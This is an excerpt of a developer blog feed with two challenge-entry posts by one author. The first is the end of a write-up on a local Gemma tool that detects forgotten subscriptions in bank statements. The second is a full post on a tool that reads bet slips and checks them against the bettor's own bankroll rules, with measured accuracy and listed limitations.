&lt;td&gt;missed&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;reported but not planted&lt;/td&gt;
&lt;td&gt;17&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;0&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The stricter rules miss a plan billed under the same descriptor as frequent purchases at other amounts, because that series doesn't own its descriptor. They also count a weekly plan only once it has 6 charges.&lt;/p&gt;

&lt;h3&gt;
  
  
  Measured
&lt;/h3&gt;

&lt;p&gt;Everything below comes from runs of &lt;code&gt;scripts/measure.py&lt;/code&gt; and &lt;code&gt;scripts/measure_seeds.py&lt;/code&gt; on 19 October 2026. They ran &lt;code&gt;gemma4:12b&lt;/code&gt; (digest &lt;code&gt;6114515d63c1&lt;/code&gt;) on an Apple Silicon laptop, and the raw JSON with every answer is in the repo.&lt;/p&gt;

&lt;p&gt;Names, on 159 made-up descriptors, three runs with no cache:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;Gemma 4 + check&lt;/th&gt;
&lt;th&gt;code cleanup only&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;name shown is right&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;148&lt;/strong&gt; of 159&lt;/td&gt;
&lt;td&gt;99 of 159&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;passed the check, right but cut short&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;passed the check and wrong&lt;/td&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;refused by the check&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;kind label right&lt;/td&gt;
&lt;td&gt;141&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The three runs gave character-identical answers for all 159 descriptors.&lt;/p&gt;

&lt;p&gt;End to end, on the 42 recurring series planted in the four example statements:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;with Gemma 4&lt;/th&gt;
&lt;th&gt;code cleanup only&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;series reported&lt;/td&gt;
&lt;td&gt;42&lt;/td&gt;
&lt;td&gt;45&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;right schedule, amount and name&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;37&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;24&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;right schedule and amount, other name&lt;/td&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;18&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;missed&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;reported but not planted&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;0&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Without the model, the schedules are found just as well, since that part is code, but the names split plans in two. The 3 extra series are halves of Netflix, Spotify and YouTube Premium.&lt;/p&gt;

&lt;p&gt;Worse, three plans still being paid were reported as stopped. A false "cancelled?" is the mistake that makes someone stop trusting the line. Merging those descriptors is what the model is for.&lt;/p&gt;

&lt;h3&gt;
  
  
  Where it is weak
&lt;/h3&gt;

&lt;p&gt;These numbers come from my own made-up data, and part of that data shaped the code. I wrote the prompt and the abbreviation table while looking at the model's answers for the example statements.&lt;/p&gt;

&lt;p&gt;Those statements hold 71 of the 159 descriptors, and 65 of those names were right, against 83 of the other 88. The seed runs reuse the same descriptors, and I wrote the stricter rules after seeing seed runs like them, so nothing here is a held-out benchmark.&lt;/p&gt;

&lt;p&gt;I widened the accepted names twice after seeing model output, only with correct full names I had left out. After a review I also removed accepted names that kept a bank's label, so &lt;code&gt;Aluguel Imob Horizonte&lt;/code&gt; ("aluguel" means rent) now counts as wrong.&lt;/p&gt;

&lt;p&gt;Six wrong names passed the check, because their words really are in the descriptor. &lt;code&gt;WHOLEFDS MKT&lt;/code&gt; came back unexpanded twice, and &lt;code&gt;99Ride&lt;/code&gt; stood in for the 99 app. The check proves a name is grounded in the descriptor, and these six show where that proof stops.&lt;/p&gt;

&lt;p&gt;The check costs something too. It refused 3 right answers, like Kindle Unlimited for &lt;code&gt;Kindle Unltd*AB12CD&lt;/code&gt;, since &lt;code&gt;Unltd&lt;/code&gt; doesn't spell out Unlimited, and the cleaned descriptor shown in their place was wrong each time.&lt;/p&gt;

&lt;p&gt;The kind was wrong on 18 of 159, and code can't check it. Five were subscriptions labeled other, including Max from its &lt;code&gt;HELP.MAX.COM&lt;/code&gt; descriptor, and ten were bills labeled other.&lt;/p&gt;

&lt;p&gt;A wrong kind moves a charge to the other total. In the end-to-end run, 3 of the 37 sat in the wrong one.&lt;/p&gt;

&lt;p&gt;Two plans at the same price from the same merchant on the same cadence are not found at all, such as two accounts of one service. Each one's charges look like the same price showing up off the other's schedule.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why Does Open Innovation Matter?
&lt;/h2&gt;

&lt;p&gt;A statement shows where you shop and when you get paid. It is about the most private file a person has. I don't want it on someone else's server just to find a forgotten trial.&lt;/p&gt;

&lt;p&gt;With open weights, the model runs on the laptop that already holds the file. The model client refuses any Ollama host that is not loopback, unless you pass &lt;code&gt;--allow-remote-model&lt;/code&gt;. It ignores proxy settings and follows no redirects, so neither can carry a descriptor elsewhere.&lt;/p&gt;

&lt;p&gt;A local Ollama can also serve cloud models, which it forwards off the machine. ghostsubs refuses those too, by a name ending in &lt;code&gt;-cloud&lt;/code&gt; or &lt;code&gt;:cloud&lt;/code&gt; and by the &lt;code&gt;remote_host&lt;/code&gt; field Ollama reports for them.&lt;/p&gt;

&lt;p&gt;With those defaults, the only thing that can leave the machine is the line, and only when you add &lt;code&gt;--ntfy&lt;/code&gt;. It pushes the line to your phone through ntfy, the open-source push service. The server is ntfy.sh, or your own with &lt;code&gt;--ntfy-server&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The line holds merchant names and amounts, and a name can be a person you pay by transfer. So read one line before you turn the push on. Topic names on ntfy.sh are public, which is why the topic should be random.&lt;/p&gt;

&lt;p&gt;And &lt;code&gt;--model&lt;/code&gt; swaps Gemma for any other local model Ollama serves, while &lt;code&gt;scripts/measure.py --model&lt;/code&gt; scores it on the same ground truth.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Lazy Payoff
&lt;/h2&gt;

&lt;p&gt;The human side of the routine is one export a month, dropped in a folder. &lt;code&gt;watch&lt;/code&gt; reads every CSV there, and a row repeated across overlapping exports counts once.&lt;/p&gt;

&lt;p&gt;A crontab line runs it on the first day of each month. pipx puts the command in &lt;code&gt;~/.local/bin&lt;/code&gt;, and &lt;code&gt;openssl rand -hex 16&lt;/code&gt; makes a topic name:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;0 9 1 * * $HOME/.local/bin/ghostsubs watch $HOME/Statements --ntfy &amp;lt;your-random-topic&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It prints the line only when something new shows up, so a quiet month sends nothing. With too little history, the line says a monthly plan needs 3 charges and asks for more months.&lt;/p&gt;

&lt;p&gt;A file in the folder that isn't a statement is skipped and named. When nothing can be read, or Ollama is down, the phone gets "ghostsubs could not run" with the reason, once, so a broken setup doesn't stay silent.&lt;/p&gt;

&lt;p&gt;A paid plan can't count as recurring until it has charged three times, so the line warns earlier about trials. It speaks up once a small first charge is followed by a full one. A new shop starts the same way, so this only happens at a merchant Gemma labels a subscription. Here is the same example counted from an earlier day:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ ghostsubs line examples/bank-a.csv --today 2026-08-20
7 subscriptions, R$ 250,35/mo (other recurring: R$ 2.659,39/mo). Possible trial turned paid: HBO Max (R$ 1,99, then R$ 34,90 on 2026-07-17).
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The work it removes is reading statements line by line. The US card example holds 1483 charges and 27 credits over 26 months, and 13 subscriptions are buried in them.&lt;/p&gt;

&lt;p&gt;The machine gets to be lazy too, since Gemma is asked about each descriptor once. A month with no new ones costs about what plain code costs. For card-b, the first run took 43.75 seconds and the second took 0.30.&lt;/p&gt;

&lt;p&gt;Every run in this post is on made-up statements from the repo, so the payoff I can show is the measured one.&lt;/p&gt;

&lt;h2&gt;
  
  
  Prize Categories
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Best Use of Gemma&lt;/strong&gt;: Gemma 4 12B, running locally through Ollama, names every descriptor, and code checks each name before it is used. Gemma never writes a number that reaches the user. The repo measures it against code cleanup alone on 159 descriptors and 42 planted series, plus 420 series from ten other seeds.&lt;/p&gt;

</description>
      <category>devchallenge</category>
      <category>hf26challenge</category>
      <category>privacy</category>
      <category>python</category>
    </item>
    <item>
      <title>Bet or skip: Gemma reads the bet slip on my laptop, and the slip's own arithmetic checks Gemma</title>
      <dc:creator>Vinicius Pereira</dc:creator>
      <pubDate>Tue, 13 Oct 2026 12:40:05 +0000</pubDate>
      <link>https://dev.to/vinimabreu/bet-or-skip-gemma-reads-the-bet-slip-on-my-laptop-and-the-slips-own-arithmetic-checks-gemma-eif</link>
      <guid>https://dev.to/vinimabreu/bet-or-skip-gemma-reads-the-bet-slip-on-my-laptop-and-the-slips-own-arithmetic-checks-gemma-eif</guid>
      <description>&lt;p&gt;&lt;em&gt;This is a submission for the &lt;a href="https://dev.to/challenges/hacktoberfest-week2-2026-10-12"&gt;Hacktoberfest Open-Source AI Challenge Week 2: Side Hustle&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What I Built
&lt;/h2&gt;

&lt;p&gt;For a lot of people, betting is the side hustle. The ones who last at it tend to say the same thing: write the money rules down and keep them. Never more than a small share of the bankroll on one bet. No six-leg accumulators. Stay out of markets where the house keeps too much. The rules are easy. Keeping them at the moment of placing a bet is the hard part, and the numbers are where it goes wrong without a sound: odds of 17.47 read as 1747, a 14% margin that looks like any other price, a stake that was 12% of the bankroll. Rules don't make betting pay, since the house margin is in every price. What they do is cap the damage, and only if they are applied every time.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;betorskip&lt;/strong&gt; takes a bet slip (pasted text or a screenshot) and gives one word back:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ betorskip examples/slips/thin-market.txt --rules examples/rules.toml
SKIP · the house keeps 14.4% on this market (your max 8%)
Redcliff Rangers v Stonebridge · Match Result
bet      single · Redcliff Rangers @ 1.72 · stake £10.00 · returns £17.20
market   1.72 / 3.20 / 4.00 · house margin 14.4%
fair     power 1.87 (53.5%) · proportional 1.97 (50.8%)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;SKIP&lt;/strong&gt; names the rule the bet breaks.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CHECK&lt;/strong&gt; means something a rule needs could not be confirmed, or the slip disagrees with itself, so you look before placing anything.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;BET&lt;/strong&gt; means no rule is broken. It says what share of your bankroll the stake is, how often the bet has to win to break even and, when the whole market is on the page, what the house keeps.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;It never says a bet will win. Gemma 4 reads the slip on your own machine, code checks every number against the slip and against the slip's own arithmetic, and your rules, in a TOML file, decide. It is for someone who already bets with rules and wants them applied to every slip, without sending their slips, their bankroll or their history to anyone. The one who would pay for it is the bettor who already pays for a bet tracker or an odds tool and still checks each slip by eye before placing it.&lt;/p&gt;
&lt;h2&gt;
  
  
  Demo
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fckrh008qzsk95zfvogqh.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fckrh008qzsk95zfvogqh.gif" alt="betorskip: Gemma reads the slip with receipts, code checks every number and the slip's arithmetic, your rules decide" width="720" height="405"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Fractional odds, with the whole market on the page:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ betorskip examples/slips/uk-fractional.txt --rules examples/rules.toml
BET · stake 4.0% of your bankroll · break-even 44.4%
Ormsdale Athletic v Millbrook United · Full Time Result
bet      single · Ormsdale Athletic @ 5/4 (2.25) · stake £20.00 · returns £45.00
market   5/4 / 12/5 / 11/5 · house margin 5.1%, if these are all the outcomes
fair     power 2.34 (42.7%) · proportional 2.36 (42.3%)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;A stake the example rules don't allow (the made-up bettor has a 500 bankroll and a 5% cap; first lines only):&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ betorskip examples/slips/big-stake.txt --rules examples/rules.toml
SKIP · stake £60.00 is 12.0% of your £500.00 bankroll (your max 5%)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;And one it won't decide for you:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ betorskip examples/slips/odds-changed.txt --rules examples/rules.toml
CHECK · the slip says the price moved: "Odds changed 1.95 → 1.80"
Larkhill v Kingsport City · Match Result
bet      single · Kingsport City @ 1.80 · stake £20.00 · returns £36.00
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Every slip, team and player in the repo is made up.&lt;/p&gt;
&lt;h2&gt;
  
  
  Code
&lt;/h2&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://assets.dev.to/assets/github-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/vinimabreu" rel="noopener noreferrer"&gt;
        vinimabreu
      &lt;/a&gt; / &lt;a href="https://github.com/vinimabreu/betorskip" rel="noopener noreferrer"&gt;
        betorskip
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      Paste a bet slip, get BET, SKIP or CHECK: read by a local Gemma, every number checked against the slip and its own arithmetic, decided by your bankroll rules.
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;&lt;div class="markdown-heading"&gt;
&lt;h1 class="heading-element"&gt;betorskip&lt;/h1&gt;
&lt;/div&gt;

&lt;p&gt;Paste a bet slip, or point at a screenshot of one, and get one word back: &lt;strong&gt;BET&lt;/strong&gt;, &lt;strong&gt;SKIP&lt;/strong&gt; or &lt;strong&gt;CHECK&lt;/strong&gt;. A model on your own machine reads the slip. Code checks every number it read against the slip and against the slip's own arithmetic, then applies your bankroll rules.&lt;/p&gt;

&lt;p&gt;It never says a bet will win. It reads the slip right and holds you to the rules you wrote down.&lt;/p&gt;

&lt;p&gt;&lt;a rel="noopener noreferrer" href="https://github.com/vinimabreu/betorskip/assets/betorskip.gif"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fraw.githubusercontent.com%2Fvinimabreu%2Fbetorskip%2FHEAD%2Fassets%2Fbetorskip.gif" alt="betorskip: Gemma reads the slip with receipts, code checks every number and the slip's arithmetic, your rules decide"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;div class="snippet-clipboard-content notranslate position-relative overflow-auto"&gt;&lt;pre class="notranslate"&gt;&lt;code&gt;$ betorskip examples/slips/thin-market.txt --rules examples/rules.toml
SKIP · the house keeps 14.4% on this market (your max 8%)
Redcliff Rangers v Stonebridge · Match Result
bet      single · Redcliff Rangers @ 1.72 · stake £10.00 · returns £17.20
market   1.72 / 3.20 / 4.00 · house margin 14.4%
fair     power 1.87 (53.5%) · proportional 1.97 (50.8%)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;People who bet seriously write their rules down: never more than a small share of the bankroll on one bet, no six-leg…&lt;/p&gt;&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/vinimabreu/betorskip" rel="noopener noreferrer"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;Python, no dependencies, about 1,100 lines plus 137 tests. It needs Ollama with &lt;code&gt;gemma4:12b&lt;/code&gt;, and Tesseract for screenshots.&lt;/p&gt;

&lt;h2&gt;
  
  
  How I Built It
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The model reads, with receipts
&lt;/h3&gt;

&lt;p&gt;The slip goes to Gemma 4 12B through Ollama on &lt;code&gt;127.0.0.1&lt;/code&gt;, with a JSON schema. For every fact, the model returns the value and the exact words it came from: a stake with &lt;code&gt;"Stake £20.00"&lt;/code&gt;, a price with &lt;code&gt;"Ormsdale Athletic 5/4"&lt;/code&gt;. Odds come back exactly as printed (&lt;code&gt;2.10&lt;/code&gt;, &lt;code&gt;2,10&lt;/code&gt;, &lt;code&gt;5/4&lt;/code&gt;, &lt;code&gt;+120&lt;/code&gt;) and code turns them into decimal odds. The prompt has no example numbers in it on purpose, so the model has no default to reach for when it can't see.&lt;/p&gt;

&lt;h3&gt;
  
  
  Code keeps only what the slip backs up
&lt;/h3&gt;

&lt;p&gt;A fact survives only if its quote is really on the slip, its number is really in the quote, and the right label sits next to it. Odds also have to be in their quote as printed, and not be an amount of money: a &lt;code&gt;10.00&lt;/code&gt; that only appears on the slip as &lt;code&gt;£10.00&lt;/code&gt; is the stake, not a price.&lt;/p&gt;

&lt;p&gt;The first slip that tested this was an American parlay. The slip prints "Risk $20.00" and "To Win $64.00". Gemma returned both, and also a &lt;code&gt;returns&lt;/code&gt; of 84 with the quote &lt;code&gt;"$84.00"&lt;/code&gt;. It had added the stake to the profit on its own. The prompt says never to compute one amount from another, and it did anyway. &lt;code&gt;$84.00&lt;/code&gt; is not on the slip, so it is dropped, and the arithmetic below runs on the $64.00 the slip prints.&lt;/p&gt;

&lt;h3&gt;
  
  
  The slip checks itself
&lt;/h3&gt;

&lt;p&gt;A slip carries its own arithmetic: stake times odds is the return it prints, the legs multiply to the total odds, and a "6-Fold" has six legs. Code checks all three, and that turned out to be the most useful check in the project, because it catches the errors where every quote is fine.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;A lost decimal point.&lt;/strong&gt; On a low-resolution screenshot, Tesseract read "Total odds 17.47" as "Total odds 1747". Quote, number and label all pass. But £5.00 at 1747 is not the £87.33 the slip prints, and £5.00 at 17.47 is, give or take the rounding, so the point goes back, with a note saying so.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Misread legs.&lt;/strong&gt; On the same slip, 1.62 came out as 1.82, 1.80 as 4.80 and 1.30 as 4.30. Each one looks like a price. Multiplied, the legs give 173.08 instead of 17.47, and the slip is flagged.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;"Winnings" that include the stake.&lt;/strong&gt; Slips word this differently. If the number matches stake times odds it is the return, and if it matches the profit it is the profit; the arithmetic decides, not the label.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;When the slip disagrees with itself, the numbers it disputes can't be used to SKIP. Without that rule, one screenshot that dropped the minus of "-110" was skipped as "odds 242.00 are above your max": 110 as decimal odds, times the other leg's 2.20.&lt;/p&gt;

&lt;h3&gt;
  
  
  Screenshots: text you can check
&lt;/h3&gt;

&lt;p&gt;There are two ways to read a screenshot: Gemma reads the image, or Tesseract turns it into text and Gemma reads the text. I rendered the twelve made-up slips as app-style screenshots, in four styles and two resolutions, and measured both.&lt;/p&gt;

&lt;p&gt;Reading the pixels is often right, and it can't be checked. On a small screenshot of a slip with a £4.00 stake and £36.00 returns, Gemma read £40.00 and £360.00, and even the arithmetic agrees: 40 at 9.00 is 360. Nothing inside that reading says it is wrong. So a screenshot goes through Tesseract first, and every quote is checked against text the model did not write.&lt;/p&gt;

&lt;p&gt;Tesseract fails in its own ways, all found by measuring:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Its default layout analysis reads a slip as two columns, every label first and every amount after, so "Stake" ends up far from "£10.00" and the label check fails. Reading the slip as one column (&lt;code&gt;--psm 4&lt;/code&gt;) took the clean screenshots from 19 to 24 correct verdicts out of 24.&lt;/li&gt;
&lt;li&gt;It reads "returns" as "retums" or "tums", the plus of American odds as &lt;code&gt;#&lt;/code&gt;, and drops minus signs.&lt;/li&gt;
&lt;li&gt;When a line comes out garbled, Gemma tidies it. From "Redcliff Rangers 472" and a Stonebridge with no price, it quoted "Redcliff Rangers 1.72 Draw 3.20 Stonebridge 4.72". That line is not in the text, so the quote check refuses it.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The fixes above were made on one batch of screenshots. Then I rendered the same slips in two styles I had not used and ran a small-JPEG batch once, made one more fix from what it showed (the margin rule now also stands down when the pick's odds are disputed), and ran a last batch once. Nothing was tuned on that last one, and the final code gives the same 24 verdicts on it:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;screenshots&lt;/th&gt;
&lt;th&gt;right&lt;/th&gt;
&lt;th&gt;CHECK&lt;/th&gt;
&lt;th&gt;wrong&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;new styles, small JPEG&lt;/td&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;13&lt;/td&gt;
&lt;td&gt;1 SKIP that should have been BET&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;new styles, 2x PNG, like a phone screenshot&lt;/td&gt;
&lt;td&gt;17&lt;/td&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;1 BET that should have been SKIP&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The wrong BET is the number to keep in mind. Tesseract dropped the "Draw 3.20" line of a market where the house keeps 14.4%; with two prices out of three there is no margin to compute, so the margin rule had nothing to apply to and the slip passed. It now says "house margin unknown" when that happens, but it is still a BET. Worse, in that batch Tesseract read a whole market on only 2 of the 24 screenshots, neither of them a BET: none of the seven BETs had the margin rule applied, and five were right only because the made-up markets sit under 8%. A price you did not pick, read wrong, would change the margin with nothing on the slip to catch it. On the small JPEGs most slips came back CHECK: that is the tool noticing text it can't trust, not reading it right.&lt;/p&gt;

&lt;p&gt;Update, 14 October: a reader pointed out that one bookmaker's prices for one market can't add up to under 100%. A single whose market does now comes back CHECK, which turns the wrong BET above into a CHECK, at the cost of seven right BETs that also come back CHECK. The fair odds are now shown two ways, with the power and the proportional devig. The re-scored table is in the README.&lt;/p&gt;

&lt;h3&gt;
  
  
  The rules are a file
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight toml"&gt;&lt;code&gt;&lt;span class="nn"&gt;[bankroll]&lt;/span&gt;
&lt;span class="py"&gt;bankroll&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;500&lt;/span&gt;
&lt;span class="py"&gt;max_stake_pct&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;

&lt;span class="nn"&gt;[odds]&lt;/span&gt;
&lt;span class="py"&gt;min_odds&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;1.30&lt;/span&gt;
&lt;span class="py"&gt;max_odds&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;6.0&lt;/span&gt;
&lt;span class="py"&gt;max_legs&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;
&lt;span class="py"&gt;max_margin_pct&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;

&lt;span class="nn"&gt;[markets]&lt;/span&gt;
&lt;span class="py"&gt;never&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;"correct score"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"first goalscorer"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"bet builder"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;An unknown setting, a setting given twice, a wrong type, a negative or non-finite number, or an empty word in &lt;code&gt;never&lt;/code&gt; is refused, so a typo can't silently switch a rule off. &lt;code&gt;--bankroll&lt;/code&gt; overrides the bankroll for today, and &lt;code&gt;--prob 52%&lt;/code&gt; turns your own estimate into expected value and a Kelly stake, never above your max stake. The probability is yours; the tool only does the arithmetic.&lt;/p&gt;

&lt;h3&gt;
  
  
  Tested
&lt;/h3&gt;

&lt;p&gt;Each of the twelve made-up slips, one for each rule or odds format, went through Gemma 4 12B three times: 36 of 36 runs gave the expected verdict, with the same first line every time, at a median of 5.5 seconds a slip on my laptop. Twelve slips is a small set: it says the reading is stable on clean text, not that it is right on every slip.&lt;/p&gt;

&lt;p&gt;The 137 tests replay recorded answers, for the twelve slips and for four low-resolution screenshots, so they run in CI without a model. Each check has the failure that motivated it as a test: the $84.00, the lost decimal point, the misread legs, the lost minus sign, &lt;code&gt;retums&lt;/code&gt;, a single quoted twice, a market misread three times the same way.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why Does Open Innovation Matter?
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;It runs on every slip and costs nothing per slip.&lt;/strong&gt; A check you have to pay for per call is a check you skip on the small bets, which are most of them.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What it reads stays with you.&lt;/strong&gt; A bankroll and a betting history are about as private as numbers get. The model client refuses any Ollama host that is not loopback and ignores proxy settings, so nothing leaves the machine by accident.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;You can see and change every step.&lt;/strong&gt; The prompt is a string in the repo, the schema is a dict, the OCR mode is one flag. When Tesseract's layout analysis split labels from amounts, I could measure it and change one argument. When Gemma tidied a garbled line into a quote that didn't exist, the fix was a check in plain code, not a request to a vendor.&lt;/p&gt;

&lt;h2&gt;
  
  
  Prize Categories
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Best Use of Gemma&lt;/strong&gt;: Gemma 4 12B, running locally through Ollama, reads every slip and returns each fact with the words it came from. The repo also measures where Gemma reading screenshots directly goes wrong in ways nothing can check, and why the tool gives it OCR text and the slip's own arithmetic instead.&lt;/p&gt;

</description>
      <category>devchallenge</category>
      <category>hf26challenge</category>
      <category>opensource</category>
      <category>python</category>
    </item>
    <item>
      <title>Keep the number you wrote: 40 beach plans, 8 models, and where the knots went</title>
      <dc:creator>Vinicius Pereira</dc:creator>
      <pubDate>Wed, 07 Oct 2026 19:26:14 +0000</pubDate>
      <link>https://dev.to/vinimabreu/keep-the-number-you-wrote-40-beach-plans-8-models-and-where-the-knots-went-3fl2</link>
      <guid>https://dev.to/vinimabreu/keep-the-number-you-wrote-40-beach-plans-8-models-and-where-the-knots-went-3fl2</guid>
      <description>&lt;p&gt;&lt;em&gt;This is a submission for the &lt;a href="https://dev.to/challenges/kaggle-2026-09-23"&gt;Kaggle Benchmarking Challenge&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What I Benchmarked
&lt;/h2&gt;

